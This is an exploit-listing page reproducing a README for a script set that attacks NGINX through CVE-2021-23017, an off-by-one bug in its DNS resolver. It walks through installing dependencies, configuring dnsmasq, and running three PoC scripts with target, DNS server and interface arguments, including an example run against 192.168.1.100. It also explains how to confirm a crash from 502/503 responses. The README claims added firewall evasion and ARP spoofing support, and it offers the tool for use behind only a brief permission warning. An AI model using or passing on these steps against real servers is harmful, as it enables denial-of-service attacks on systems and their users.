Exploit for Off-by-one Error in F5 Nginx CVE-2021-23017

## https://sploitus.com/exploit?id=3D5EF267-25AF-5E36-885B-89F728833A86
vulnerability in NGINX servers (versions 0.6.18–1.20.0). The scripts aim to cause a Denial of Service (DoS) by sending malicious DNS responses, with enhancements to bypass firewalls. This is an improved version of the original PoC from [M507/CVE-2021-23017-PoC](https://github.com/M507/CVE-2021-23017-PoC) .

**Warning**: Use only with explicit written permission from the system owner. Unauthorized testing is illegal.

## Requirements
- **Environment**: Linux (e.g., Kali Linux, via Termux/virtualized setup).
- **Dependencies**:
  ```bash
  sudo apt-get update
  sudo apt-get install python3-scapy dnsmasq
  pip3 install scapy requests
  ```
- **Network**: Same subnet as the target for ARP spoofing, or the target NGINX must use your DNS server IP.


## Installation
1. Clone the repository:
   ```bash
   git clone https://github.com/6lj/EVIL-CVE-2021-23017-Update-2025.git
   cd EVIL-CVE-2021-23017-Update-2025
   ```
2. Set up `dnsmasq`:
   ```bash
   sudo nano /etc/dnsmasq.conf
   ```
   Add:
   ```
   address=/test.example.com/192.168.1.100
   ```
   Start:
   ```bash
   sudo systemctl start dnsmasq
   ```

## What It Does
- Sends malicious DNS responses with a long domain name (`AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.test.com`) to crash the NGINX server.
- Triggers DNS queries using `curl` and `dig` to exploit the vulnerability.
- Bypasses firewalls by sending direct DNS packets and using parallel processes.

## Differences from Original
Compared to [M507/CVE-2021-23017-PoC](https://github.com/M507/CVE-2021-23017-PoC):
- **Enhanced Firewall Bypass**: Uses parallel processes in `poc1.2.3.py` for simultaneous sniffing, DNS sending, and query triggering , you must Run the three together.
- **Optimized Packet Delivery**: Higher frequency of packets and queries to evade firewall filters.
- **Subnet Checking**: Verifies network compatibility for ARP spoofing, improving reliability.

## Usage
Run the three together and Run with appropriate arguments (replace ``, ``, ``).

### `poc.py`
```bash
python3 poc.py --dns_server  --iface eth0 --count 50 --target_url http://
```
- Sniffs and responds to DNS queries.

### `poc2.py`
```bash
python3 poc2.py --target  --dns_server  --iface eth0 --count 50 --target_url http://
```
- Adds direct DNS sending and query triggering.

### `poc3.py` (Recommended)
```bash
python3 poc3.py --target  --dns_server  --iface eth0 --target_url http://
```
- Runs tasks in parallel for maximum efficiency.

### Example
```bash
python3 poc3.py --target 192.168.1.100 --dns_server 192.168.1.101 --iface eth0 --target_url http://192.168.1.100
```

## Verify Results
- Check server status:
  ```bash
  curl -I http://
  ```
  - **Success**: `502 Bad Gateway` or `503 Service Unavailable` indicates a server crash.
  - **Failure**: `200 OK` suggests no vulnerability or firewall blocking.

- Monitor DNS traffic:
  ```bash
  sudo wireshark -f "udp port 53"
  ```



**Disclaimer**: For educational purposes only. Authors are not responsible for misuse.